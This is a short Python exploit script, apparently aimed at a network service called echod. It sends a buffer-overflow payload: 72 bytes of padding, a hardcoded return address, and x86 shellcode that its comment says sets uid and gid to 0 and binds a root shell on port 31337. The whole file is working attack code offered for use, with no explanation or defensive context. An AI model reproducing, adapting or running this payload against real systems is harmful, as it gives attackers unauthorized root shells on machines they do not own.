echod_exploit.py

#!/usr/bin/python
import sys
from socket import *

# *** Generated with libShellCode
# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
shellcode = \
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" + \
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" + \
"\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1" + \
"\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd" + \
"\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3" + \
"\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88" + \
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" + \
"\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

s = socket(AF_INET, SOCK_STREAM)

if len (sys.argv) < 3:
	print 'Usage:', sys.argv[0], 'host port'
	sys.exit (0)

try:
	s.connect((sys.argv[1], int (sys.argv[2])))
	
	padding = (64  + 8) * "A"
	jmp_addr = "\xa6\xf7\x09\x08" # 0x0809f7a6
	
	s.send(padding + jmp_addr + shellcode)
	s.close()
	print 'Done.'
except Exception, e:
	print 'Error:', e